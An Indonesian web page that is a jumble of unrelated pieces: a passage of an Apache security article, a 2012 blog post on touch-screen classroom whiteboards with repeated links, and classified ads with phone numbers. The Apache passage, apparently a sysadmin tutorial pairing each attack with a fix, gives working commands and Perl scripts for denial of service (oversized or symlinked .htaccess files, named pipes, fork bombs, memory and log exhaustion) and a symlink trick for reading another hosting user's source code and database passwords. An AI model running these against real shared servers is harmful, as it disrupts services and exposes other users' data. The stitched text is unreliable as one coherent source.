    Misalkan file-file situsku.com ditaruh sebagai milik user situsku di /home/situsku/www.
    Apache tidak membatasi ukuran .htaccess, sehingga Anda dapat meluncurkan DOS dengan membuat file .htaccess yang besar.
    $ cd /home/situsku/www$ perl -e'print "# allow from all\n" x 200_000' > .htaccess
    Baris di atas akan menulis sebuah file akses berukuran sekitar 3MB. Cobalah mengakses halaman depan situsku.com dari jaringan lokal. Jika respon menjadi lambat, maka permainan kita bisa berlanjut. Jika tidak, maka server telah dikonfigurasi untuk mengabaikan .htaccess.
    Kita dapat melipatgandakan efek ini dengan membuat banyak tingkat direktori, atau loop direktori. Apache pun memperbolehkan .htaccess berupa symlink, sehingga kita dapat melakukan seperti ini:
    $ cd /home/situsku/www$ mkdir www2$ cd www2
    $ ln -s ../.htaccess .htaccess
    Akses ke www2 akan semakin lambat karena Apache memroses dulu .htaccess di www/, baru ke www2. Demikian seterusnya.
    Apache sebelum 1.2.5 belum mengecek tipe file .htaccess. Sehingga dapat diserang dengan DOS seperti berikut (contoh di bawah untuk .htpasswd):
    AuthType Basic
    AuthName DoS Attack
    AuthUserFile /dev/zero
    require valid-user
    Ketika mencoba membaca file password dan mencari tanda titik dua pembatas username dan password, Apache akan tersesat di rimba nol selamanya, dan menghabiskan CPU dan RAM.
    Apache setelah 1.2.5 mengecek hal ini, namun belum mengecek fifo atau pipa bernama. Kita dapat membuat .htaccess sebagai file pipa bernama:
    $ mknod .htaccess p
    Dan saat Apache mencoba membaca file akses ini, ia akan menunggu selamanya, karena tidak ada yang menulis ke pipa kita tadi. Masukkan URL ke direktori yang berisi pipa ini di browser berulang kali, maka proses Apache lama-lama akan habis karena masing-masing tergantung membaca .htaccess.
    Berbagai kelemahan konfigurasi lain juga dapat dimanfaatkan melalui .htaccess. Misalnya, jika AllowOverride FileInfo aktif dan webserver memiliki mod_status, maka berikan .htaccessberikut untuk melihat halaman status Apache:
    <Files /server-status>
    SetHandler server-status
    </Files>
    Halaman status ini berguna untuk mengetahui tingkat kesibukan Apache Anda, dan juga bisa digunakan oleh penyerang agar lebih efektif dalam melakukan tugasnya.
    Atau, jika Options FollowSymlinks hidup, Anda dapat melihat source code CGI/PHP user lain. Misalnya, user yang ingin diintip adalah korban. Perintah berikut dimasukkan oleh userpenjahat.
    $ cd /home/penjahat/www$ mkdir korban; cd korban$ ln -s /home/korban/www www$ echo -e "
    directoryindex none
    sethandler default-handler
    forcetype text/plain" > .htaccess
    Akses direktori /home/penjahat/www/korban/www dari browser. Maka Anda akan melihat seluruh file www milik korban sebagai source. Anda dapat mencuri program yang berharga, password database, dsb.
    Ada beberapa kombinasi menarik lainnya dalam bermain-main dengan .htaccess. Silakan cari dan temukan sendiri.

    Solusi 5

    Nomor satu, apakah Anda membutuhkan .htaccess? Jika tidak, matikan. AllowOverride None. Semua masalah beres. Bukan hanya sistem lebih aman dari user, kinerja Apache juga akan meningkat. Lanjut ke Cara 6.
    Jika Anda perlu memberikan akses membuat .htaccess bagi user, maka terapkan patch ini: limit_htaccess.patch. Patch tersebut dapat membatasi kenakalan user dengan memperkenalkan tiga direktif baru.
    • LimitAccessFileSize, untuk membatasi ukuran maksimum .htaccess. Perhatikan bahwa nilai standarnya adalah 8k. Untuk mematikan pembatasan ukuran, berikan nilai 0.
    • LimitAccessFileType, untuk membatasi jenis file yang diperbolehkan. Misalnya, kita hanya mengizinkan file biasa dan tidak pipe, soket, device, atau bahkan symlink. Maka tambahkan baris LimitAccessFileType regular ke httpd.conf Anda.
    • LimitAccessFileToRoot, untuk mewajibkan .htaccess dimiliki root. Ini berarti, Apache tetap dapat menjalankan .htaccess, tapi si user tidak diperbolehkan membuatnya sendiri. Anda dapat membuat antarmuka Web semacam control panel misalnya, agar user dapat membuat .htaccess, tapi hanya perintah-perintah tertentu saja dalam jumlah terbatas.
    Berikan juga direktif Options -FollowSymlinks jika Anda ingin mencegah orang agar tidak dapat membuat loop direktori.
    Seleksi perintah-perintah yang boleh diberikan di .htaccess melalui direktif AllowOverride. Misalnya, jika Anda menggunakan mod_perl, sangat tidak dianjurkan menghidupkanAllowOverride FileInfo, karena si user dapat membuat .htaccess untuk menjalankan handler Perl sendiri, yang berjalan sebagai user Apache dan memiliki akses ke isi perut webserver.

    Cara 6: Membuat Skrip DOS

    Tipe serangan: lokal, DOS.
    Pada dasarnya mirip dengan cara pertama, namun kini Anda memiliki kebebasan untuk membuat skrip yang bisa dengan cepat menghabiskan resource. Tentu saja Anda perlu diizinkan membuat skrip CGI atau PHP sendiri. Satu yang paling sederhana, fork bomb, untuk memenuhi tabel proses dan menghabiskan RAM:
    #!/usr/bin/perl
    fork while 1;
    Atau, mari habiskan CPU:
    #!/usr/bin/perl
    for (1..100) { fork or last }
    1 while ++$i;
    Atau, mari habiskan deskriptor file:
    #!/usr/bin/perl
    while (++$i) { open $f{$i}, "/bin/ls"; }
    Atau, mari habiskan memori lebih cepat:
    #!/usr/bin/perl
    for (1..20) { fork or last }
    while (++$i) { $h{$i} = "X" x 0xff; }
    Panggillah skrip ini beberapa kali dari browser agar lebih terasa efeknya.
    Sebetulnya serangan pun dapat remote, asalkan kita menemukan skrip bodoh yang bisa dimanfaatkan untuk menyuntikkan skrip kita ini menembus shell atau interpreter Perl/PHP.

    Solusi 6

    Ada patch bagi Linux yang berguna untuk mendeteksi ledakan proses anak dan segera mematikan proses induknya. Anda bisa mencarinya di Freshmeat, Fork Bomb Defuser. Namun hati-hati jika skrip Anda berjalan di dalam proses Apache (mod_php, mod_perl), sebab dapat dimanfaatkan oleh si penyerang untuk justru membunuh Apache itu sendiri.
    Kenakan pembatasan resource pada skrip-skrip CGI. Lihatlah dokumentasi Apache untuk direktif-direktif berikut: LimitRequestBody, LimitRequestFields, LimitRequestFieldSize,LimitRequestLine, RLimitCPU, RLimitMEM, RLimitNPROC.
    Jika server Anda dipakai oleh banyak user, lebih baik wrap eksekusi CGI agar risiko ditanggung oleh tiap user, bukan oleh user Apache Anda semata. Jalankan PHP dengan safe_mode dan safe_mode_exec_dir.
    Karena tindakan DOS seperti ini amat menyebalkan dan murahan, tegaskan bahwa Anda amat tidak menyukai tindakan ini, dan kenakan sanksi yang berat pada user yang, baik iseng maupun dengan sengaja, melakukan kegiatan DOS seperti ini.

    Cara 7: Memenuhi Log

    Tipe serangan remote atau lokal, DOS, memenuhi disk.
    Root di Unix secara bawaan tidak terbatas aksesnya, termasuk tidak dikenai kuota disk, dsb. Lewat skrip CGI, kita dapat mengalirkan data agar kepada root sehingga ditulis file log error misalnya.
    #!/usr/bin/perl
    print STDERR "X" x (1024*1024);
    Program CGI pendek di atas, jika dijalankan lewat webserver, akan mengirim 1MB data ke log error. Lakukan berulang kali, maka Anda bisa membayangkan apa yang akan terjadi.
    Serangan ini juga bisa dilakukan secara remote, dengan mengirim baris request, header User-Agent dan Referer yang panjang-panjang; semua ini umumnya akan bermuara di log akses. Namun tentu serangan lokal lebih efisien.

    Solusi 7

    Yang pasti, pertama-tama pisahkan partisi log Anda dari yang lain, agar jika log penuh—sesuatu hal yang sering terjadi—maka aktivitas lainnya tidak terhenti begitu saja.
    Seperti biasa, tindakan DOS seperti ini agak dilematis untuk diatasi. Anda bisa mematikan error_log sama sekali, atau mengeset LogLevel ke tingkat crit ke atas, tapi itu berarti Anda akan kehilangan pemberitahuan even-even lainnya. Atau Anda dapat melempar stderr ke stdout—seperti yang dilakukan oleh cgiwrap—tapi konsekuensinya pemakaian bandwidth sedikit meningkat: pesan dari stderr ke disk kini berpindah ke jaringan, serta dapat membocorkan informasi seperti password database.
    Anda dapat mengeset file log error agar dimiliki oleh user, bukan root, agar terkena kuota dan terbatasi ukurannya. Namun ini berarti direktori penampung file log tersebut jangan boleh bisa ditulisi oleh si user, agar tidak bisa diisengi ala Cara 4.
    Atau Anda dapat mengeset pemilik log error sebagai user khusus lain yang diberi kuota.
    Jika Anda memahami C dan source code Apache, bisa pula mencoba membatasi ukuran log yang dapat diproduksi per skrip atau per jangka waktu tertentu, meski tentunya ini pun berarti user Anda kehilangan sebagian informasi.

    Penutup

    Pada dasarnya DOS sulit diatasi, tapi jangan biarkan server Anda dapat diobok-obok dengan mudah. Jangan biarkan kesalahan atau kelemahan konfigurasi membuat data milik user Anda dapat dicuri. Yakinkan RAM cukup, atau jangan biarkan Apache menghabiskan seluruh RAM Anda. Jika Anda membuat skrip sendiri, ada sekumpulan jebakan yang sering mengenai programer pemula, jadi jangan lupa untuk membaca WWW Security FAQ. Yang paling penting, seperti orang Tegal bilang, know thy tools.
    Bulan depan kita akan membahas trik-trik jitu meningkatkan pageview.

    Sekolah Ini Mengunakan papan Tulis Layar Sentuh

    Tuesday, October 2, 2012

    http://asalasah.blogspot.com/2012/03/sekolah-ini-mengunakan-papan-tulis-layar-sentuh.html


    Di Amerika Serikat, papan tulis sekolah diganti biar lebih interaktif. Berukuran besar, sensitif terhadap sentuhan (seperti layar komputer) yang biasa kita kenal dengan touch screen, yang memungkinkan siswa mengerjakan soal, menjelajahi web dan mengedit video hanya dengan menggunakan jari-jari mereka. Keren kan gan

    Siswa dapat menggunakan papan tulis touch screen untuk mendemonstrasikan pemecahan untuk soal-soal matematika. Mereka menggambar di papan dengan ujung jari mereka dan menjelaskan kepada kelas mengapa mereka menjawab begitu .

    "Ini benar-benar memotivasi mereka," kata Eliza Bang sang guru. "Sebagai pendukung atau fasilitas untuk mendorong kerja kelompok, itu sudah biasa."

    Guru dapat menampilkan slide-show atau bahkan video. Sekarang bahkan bisa membuka halaman web untuk mendapatkan informasi yang berguna hanya dalam hitungan detik.

    Papan tulis interaktif yang dilengkapi layar sentuh ini dapat ditemukan di lebih dari 150.000 ruang kelas di US, dan seiring tumbuhnya teknologi secara internasional, papan tulis ini akan hadir di 75 negara

    Cara Kerja Papan Tulis Sentuh

    Papan tulis interaktif bekerja layaknya PC/laptop. Papan tulis akan dihubungkan ke suatu layar/LCD yang lebih besar (proyektor). Cara mengoperasikan dengan alat yang dikenal sebagai pena tanpa tinta. Pena tanpa tinta sebagai mouse (dalam laptop) dan LCD pada papan tulis interaktif sebagai layar monitor. Pena tanpa tinta sebagai alat tulis di sini memiliki dua fungsi. Pertama, pena diprogram dapat menampilkan warna yang berbeda (layaknya pena biasa), antara lain biru, hitam, merah, dan hijau. Kedua, pena juga berfungsi sebagai penghapus. Ketika telah tersambung dengan komputer dan proyektor, papan tulis ini dapat langsung bekerja.

    Papan Tulis Interaktif, merupakan sebuah papan tulis besar yang menggunakan teknologi sentuh untuk mendeteksi input pengguna (misalnya interaksi bergulir) yang setara dengan perangkat input PC biasa, seperti mouse atau keyboard. Sebuah proyektor digunakan untuk menampilkan video output komputer ke papan tulis, yang kemudian bertindak sebagai layar sentuh besar. Papan tulis interaktif biasanya telah disediakan pula alat-alat tulis digital yang menggunakan pena tanpa tinta atau pena digital, menggantikan alat tulis papan tulis tradisional, spidol. Pena tanpa tinta ini bekerja dengan menggunakan digitizer aktif yang mengontrol PC/laptop guna masukan informasi untuk kemampuan menulis seperti menggambar atau tulisan tangan.

    Ada juga tombol yang meluncurkan popup keyboard dan mouse kanan menu klik untuk lebih banyak pilihan input. Papan tulis interaktif biasanya dipasang di dinding atau lantai berdiri dan digunakan agar dapat difungsikan oleh seseorang.

    simpel nya gini gan :


    http://asalasah.blogspot.com/2012/03/sekolah-ini-mengunakan-papan-tulis-layar-sentuh.html



    Fitur Fitur Tersedia

    1. Perangkat lunak yang memiliki kemampuan perekaman selama proses presentasi berlangsung. Perekaman yang dilakukan antara lain suara pelaku presentasi (presenter), juga materi-materi presentasi, baik yang sudah ada, atau yang telah mengalami proses pengeditan.

    2. Kemampuan melakukan Konferensi Presentasi

    3. Teknologi zoom interaktif

    4. Karena teknologi tinggi yang terdapat di dalamnya, ia mampu mengubah tulisan tangan menjadi tulisan teks pada layar komputer (LCD). Ketika ingin mengubah, mengedit presentasi, data, dll, dapat dilakukan langsung pada layar LCD papan tulis interaktif, tanpa harus menggunakan PC/laptop.

    5. Selain menjadi teks, papan tulis juga dapat mengubah tulisan tangan ke bentuk gambar. Misalnya, berupa tanda tangan. Bisa langsung pada layar LCD papan tulis interaktif tanpa harus mencetak terlebih dahulu dokumen presentasi tersebut.

    6. Teknologi Sistem Pemotongan. Sistem ini mampu memotong suatu tulisan yang ada dalam layar LCD papan tulis interaktif.

    7.Teknologi Digital Lihat-Sentuh
    Teknologi ini dikenal dengan nama touchscreen. Papan tulis interaktif menggunakan teknologi ini dimana pengguna dapat menyentuh muka (layar) papan tulis untuk mengontrol segala aplikasi yang ada pada komputer atau menulis di layar tersebut. Kamera digital (dalam layar papan tulis interaktif) dan perangkat lunak di dalamnya dapat mendeteksi setiap sentuhan jari atau pena tanpa tinta yang digunakan dan ia akan diubah secara otomatis menjadi layaknya mouse di komputer.


    http://asalasah.blogspot.com/2012/03/sekolah-ini-mengunakan-papan-tulis-layar-sentuh.html
    http://asalasah.blogspot.com/2012/03/sekolah-ini-mengunakan-papan-tulis-layar-sentuh.html
    http://asalasah.blogspot.com/2012/03/sekolah-ini-mengunakan-papan-tulis-layar-sentuh.html
    http://asalasah.blogspot.com/2012/03/sekolah-ini-mengunakan-papan-tulis-layar-sentuh.html
    http://asalasah.blogspot.com/2012/03/sekolah-ini-mengunakan-papan-tulis-layar-sentuh.html
    http://asalasah.blogspot.com/2012/03/sekolah-ini-mengunakan-papan-tulis-layar-sentuh.html

    Jual Kamboja Kering Dan Basah

    Pohon kamboja, khususnya kamboja berbunga putih (Plumeira alba), masih dipandang sebelah mata. Sebab, kebanyakan tanaman ini tumbuh di kuburan. Tidak jarang, orang menyebutnya sebagai bunga kuburan. Bunganya yang telah dikeringkan, lantas ditumbuk halus, banyak dipakai sebagai bahan baku wewangian, kosmetik, industri kerajinan dupa, spa, serta teh herbal. Untuk harga perkilo, kami tidak mematok harga paten dikarenakan harga yang tidak stabil dan berubah sewaktu-waktu. Jika anda berminat, silahkan hubungi kami atau jika anda ada di Banjarmasin, bisa datang langsung ke tempat kami.
    Dikirim oleh : Kamboja Kering, banjarmasin, 081334232727 | Kunjungi Website

    Dijual Rumah ada sarang Walet-Tulungagung

    Dijual Rumah Murah ada sarang Walet lengkap Dengan Instalasi Speaker, lb 90m2 sarang walet 3x7m diatas ada kolam, rumah monyet untuk walet 2x2m. Harga 175juta tanpa perantara Bila ada yang berminat langsung hubungi kami
    Dikirim oleh : Rumah Murah, Bangoan kedungwaru Tulungagung, 081351015777 | Kunjungi Website